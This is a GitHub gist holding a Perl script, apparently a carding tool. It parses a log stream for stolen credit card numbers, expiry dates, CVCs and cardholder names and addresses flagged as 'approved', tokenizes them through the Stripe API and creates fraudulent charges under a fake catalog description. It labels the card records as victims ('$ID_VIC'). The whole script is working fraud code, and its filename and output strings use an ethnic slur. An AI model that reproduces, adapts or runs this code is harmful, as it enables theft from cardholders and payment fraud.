Created
November 11, 2014 11:39
-
-
Save jmcveigh/f31e697e37f3256cdcb1 to your computer and use it in GitHub Desktop.
chink.pl -- jmcveigh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# _________ .__ .__ __ .__ | |
# \_ ___ \| |__ |__| ____ | | __ ______ | | | |
# / \ \/| | \| |/ \| |/ / \____ \| | | |
# \ \___| Y | | | | < | |_> | |__ | |
# \______ |___| |__|___| |__|_ \ /\ | __/|____/ | |
# \/ \/ \/ \/ \/ |__| | |
# | |
# usage 'cat c.log | chink.pl' | |
# usage 'tail -f c.log | chink.pl' | |
# usage < in mobile device ssh app > 'rlwrap cat | chink.pl' | |
# item 'approved cc xm xy cvc\n' | |
use warnings; | |
use integer; | |
use 5.016; | |
$| = 1; | |
use Business::Stripe; | |
use Geo::GeoNames; | |
use Data::Dumper qw(Dumper); | |
use File::Touch; | |
my $CONST_PRICE = 847; | |
my $ID_ANON = 4; | |
my $ID_VIC = 9; | |
my ($k,$g); | |
print "Parsing Stripe secret key from ~/.stripe.\n"; | |
if(-r $ENV{"HOME"} . "/.stripe") { | |
open my $fh, "< " . $ENV{"HOME"} . "/.stripe"; | |
if($fh) { | |
$k = <$fh>; | |
chomp $k; | |
close $fh; | |
} | |
} | |
print "Parsing GeoNames secret key from ~/.geonames.\n"; | |
if(-r $ENV{"HOME"} . "/.geonames") { | |
open my $fh, "< " . $ENV{"HOME"} . "/.geonames"; | |
if($fh) { | |
$g = <$fh>; | |
chomp $g; | |
close $fh; | |
} | |
} | |
if(-w $ENV{"HOME"} . "/.chink") { | |
# unlink $ENV{"HOME"} . "/.chink"; | |
} | |
touch $ENV{"HOME"} . "/.chink"; | |
$k || die "/.stripe could not be parsed.\n"; | |
$g || die "/.geonames could not be parsed.\n"; | |
my $stripe = Business::Stripe->new( | |
-api_key => $k | |
); | |
my $geo = new Geo::GeoNames(username => 'jwmcveigh', password => $g); | |
sub chun { | |
my ($cc,$xm,$xy,$cvc,$amt) = @_; | |
my $tok = chin($cc,$xm,$xy,$cvc); | |
if($tok) { | |
$stripe->charges_create( | |
amount => $amt, | |
card => $tok, | |
description => 'OEM FASTENAL 2015 CATALOG' | |
) && return 1; | |
return 0; | |
} | |
return 0; | |
} | |
sub chan { | |
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip,$amt) = @_; | |
my $tok = chang($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip); | |
if($tok) { | |
$stripe->charges_create( | |
amount => $amt, | |
card => $tok, | |
description => 'OEM FASTENERS 2015 CATALOG' | |
) && return 1; | |
return 0; | |
} | |
return 0; | |
} | |
sub chang { | |
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip) = @_; | |
my $result = $geo->search(q => $cit . ',' . $reg, maxRows => 1); | |
my $country = $result->[0]->{countryCode}; | |
if($xy - 2000 <= 25) { | |
$xy += 2000; | |
} | |
my $tok = $stripe->api('post','tokens', | |
'card[number]' => $cc, | |
'card[exp_month]' => $xm, | |
'card[exp_year]' => $xy, | |
'card[cvc]' => $cvc, | |
'card[name]' => $name, | |
'card[address_line1]' => $addr1, | |
'card[address_city]' => $cit, | |
'card[address_state]' => $reg, | |
'card[address_zip]' => $zip, | |
'card[address_country]' => $country, | |
'currency' => 'usd' | |
); | |
if($tok) { | |
return($tok) | |
} else { | |
return(0); | |
} | |
} | |
sub chin { | |
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip) = @_; | |
my $tok = $stripe->api('post','tokens', | |
'card[number]' => $cc, | |
'card[exp_month]' => $xm, | |
'card[exp_year]' => "20" . $xy, | |
'card[cvc]' => $cvc, | |
'currency' => 'usd' | |
); | |
if($tok) { | |
return($tok) | |
} else { | |
return(0); | |
} | |
} | |
sub val_in_arr { | |
my ($arrref,$val) = @_; | |
my @arr = @{$arrref}; | |
my $found = 0; | |
for my $el (@arr) { | |
if($el eq $val) { | |
$found = 1; | |
last; | |
} | |
} | |
return($found); | |
} | |
my @ccqueue; | |
my @ccpending; | |
my @ccq; | |
my @ccrun; | |
my $icount = 0; | |
sub charge { | |
my @row = @_; | |
my %ccruntbl = map {$_ => 1} @ccrun; | |
my $cc = $row[0] || ''; | |
if($cc) { | |
if(val_in_arr(\@ccrun,$cc) == 0) { | |
given (scalar(@row)) { | |
when (/$ID_VIC/) { | |
if(&chan((@row,$CONST_PRICE)) == 1) { | |
print("chank [$icount]\n"); | |
$icount++; | |
} | |
push @ccrun, $cc; | |
} | |
when (/$ID_ANON/) { | |
if(&chun((@row,$CONST_PRICE)) == 1) { | |
print("chink [$icount]\n"); | |
$icount++; | |
} | |
} | |
} | |
push @ccrun, $cc; | |
} | |
} | |
} | |
my $regex_digits = '(\d{12,18})\s*(\d{2})[\s\/]*(\d{2,4})\s*(\d{2,5})'; | |
my $regex_approved = '(a[p]{2}r|a(\sp){2}\sr)'; | |
my $regex_vic = '([A-Za-z]+\s[A-Za-z]+)\s(\d+.*)\s([A-Za-z\s\-\.]+)\s([A-Z]{2,5})\s(\d{5})'; | |
while(<>) { | |
if (m/$regex_digits/i && m/$regex_vic/ && m/$regex_approved/i) { | |
eval { | |
m/$regex_digits/; | |
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4); | |
m/$regex_vic/; | |
my($name,$addr1,$cit,$reg,$zip) = ($1,$2,$3,$4,$5); | |
if($cc && $xm && $xy && $cvc) { | |
if($name && $addr1 && $cit && $reg && $zip) { | |
# print "$cc $xm $xy $cvc\n"; | |
my @buf = ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip); | |
charge(@buf); | |
} | |
} | |
}; | |
} elsif(m/$regex_digits/i && !m/$regex_vic/ && m/$regex_approved/i) { | |
eval { | |
m/$regex_digits/; | |
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4); | |
if($cc && $xm && $xy && $cvc) { | |
# print "$cc $xm $xy $cvc\n"; | |
if(val_in_arr(\@ccq,$cc)) { | |
my @ccqx = grep { $ccq[$_] eq $cc } 0..$#ccq; | |
splice(@ccq,@ccqx,$#ccqx); | |
for my $rowref (@ccpending) { | |
my @buf = @{$rowref}; | |
charge(@buf); | |
} | |
} elsif(!val_in_arr(\@ccq,$cc)) { | |
my @buf = ($cc,$xm,$xy,$cvc); | |
charge(@buf); | |
} | |
} | |
}; | |
} elsif(m/$regex_digits/i && m/$regex_vic/ && !m/$regex_approved/i) { | |
eval { | |
m/$regex_digits/; | |
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4); | |
m/$regex_vic/; | |
my($name,$addr1,$cit,$reg,$zip) = ($1,$2,$3,$4,$5); | |
if($cc && $xm && $xy && $cvc) { | |
if($name && $addr1 && $cit && $reg && $zip) { | |
my @buf = ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip); | |
my $ccref = \@buf; | |
push(@ccpending, $ccref); | |
push(@ccq,$cc); | |
} | |
} | |
}; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment